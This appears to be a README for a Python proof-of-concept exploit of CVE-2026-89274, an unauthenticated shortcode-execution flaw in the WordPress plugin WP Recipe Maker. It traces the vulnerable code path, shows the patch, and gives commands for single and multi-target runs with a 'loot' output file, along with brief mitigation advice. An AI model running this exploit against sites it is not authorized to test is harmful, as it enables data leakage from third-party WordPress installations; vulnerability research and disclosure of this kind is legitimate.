polosss/by-poloss..-.cve-2026-89274CVE-2026-89274 के लिए Python PoC exploit, जो WordPress WP Recipe Maker <= 10.8.1 में recipe comments के माध्यम से एक unauthenticated arbitrary shortcode execution vulnerability है।
Poloss : @WPEF0
CVE-2026-89274 के लिए Proof-of-Concept exploit — WordPress plugin WP Recipe Maker संस्करण ≤ 10.8.1 में Unauthenticated Arbitrary Shortcode Execution की भेद्यता।
⚠️ कानूनी और नैतिक चेतावनी यह स्क्रिप्ट केवल स्थानीय वातावरण (localhost/lab) में सुरक्षा अनुसंधान के लिए प्रदान की गई है और इसका उपयोग उन सिस्टमों के विरुद्ध नहीं किया जाना चाहिए जो आपके स्वामित्व में नहीं हैं या लिखित अनुमति के बिना हैं। लेखक दुरुपयोग के लिए उत्तरदायी नहीं है। तृतीय-पक्ष सिस्टमों के विरुद्ध अनधिकृत उपयोग आपराधिक कानून का उल्लंघन कर सकता है।
| Field | Nilai |
|---|
| CVE ID | CVE-2026-89274 |
| Target | WP Recipe Maker (wp-recipe-maker) ≤ 10.8.1 |
| Kelas | Code Injection (CWE-94) — Arbitrary Shortcode Execution |
| CVSS v3.1 | 9.1 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) |
| Vektor | Konten komentar resep (unauthenticated) |
| Sink | do_shortcode() pada class-wprm-metadata.php |
| Dampak | Eksekusi shortcode server-side → kebocoran data via JSON-LD publik |
| Author | Poloss |
includes/public/class-wprm-metadata.php :: sanitize_metadata()
Vulnerable (10.8.1):
$sanitized = strip_shortcodes( wp_strip_all_tags( do_shortcode( $metadata ) ) );
do_shortcode() mengeksekusi shortcode terlebih dahulu, lalu strip_shortcodes() hanya membersihkan output-nya — tidak ada proteksi sama sekali।
Patched (10.8.4):
$sanitized = strip_shortcodes( wp_strip_all_tags(
WPRM_Instacart::do_shortcode_safe( $metadata ) ) );
comment_content (komentar publik pada post resep)
└─> reviewBody (class-wprm-metadata.php:1017)
└─> $metadata['review'][] (line 1028)
└─> sanitize_metadata( get_metadata( $recipe ) ) (line 374)
└─> do_shortcode( $reviewBody ) ← SINK EKSEKUSI
└─> wp_json_encode() ke <script type="application/ld+json">
wprm-comment-rating (diisi via form komentar).git clone <repo-url>
cd <repo>
python3 -m venv .venv
source .venv/bin/activate # Windows: .venv\Scripts\activate
# Tidak ada dependensi eksternal — hanya standard library Python 3.
Persyaratan: Python 3.8+.
python3 CVE-2026-89274.py -u http://localhost:8080 -p 10 \
--shortcode '[wprm-recipe-name id=11]' \
--marker 'PoC Recipe'
Format targets.txt (satu per baris, url[,post_id]):
http://lab1.local,10
http://lab2.local,25
# baris komentar diabaikan
http://lab3.local,7
python3 CVE-2026-89274.py -f targets.txt -t 10 -o loot.json
| Flag | Default | Deskripsi |
|---|---|---|
-u, --url | — | URL target tunggal |
-f, --file | — | File daftar target (url[,post_id] per baris) |
-p, --post | 10 | ID post yang memuat resep |
-t, --threads | 5 | Jumlah worker thread |
-o, --output | cve-2026-89274-loot.json | File output JSON |
--shortcode | [wprm-recipe-name id=11] | Payload shortcode yang dieksekusi |
--marker | PoC Recipe | Substring pembuktian eksekusi di reviewBody |
--rating | 5 | Nilai rating WPRM |
--timeout | 25 | Timeout per-request (detik) |
<script type="application/ld+json">, kumpulkan reviewBody./wp-comments-post.php dengan payload + field wprm-comment-rating.--marker muncul di reviewBody → EXPLOITED. Jika belum → PENDING_APPROVAL.| Status | Arti |
|---|---|
EXPLOITED | Shortcode tereksekusi & output bocor ke JSON-LD publik |
PENDING_APPROVAL | Komentar terkirim, menunggu persetujuan moderator |
FAIL | Halaman tidak reachable / komentar ditolak / error |
[
{
"target": "http://localhost:8080",
"post_id": 10,
"shortcode": "[wprm-recipe-name id=11]",
"marker": "PoC Recipe",
"author": "poc1716000000",
"review_bodies": ["PoC Recipe"],
"status": "EXPLOITED",
"evidence": "PoC Recipe",
"note": "shortcode executed server-side; output leaked into public JSON-LD reviewBody",
"elapsed": 9.12
}
]
comment_moderation = 1 dan audit komentar secara ketat.[...]) pada field komentar..
├── CVE-2026-89274.py # exploit utama
└── README.md # dokumen ini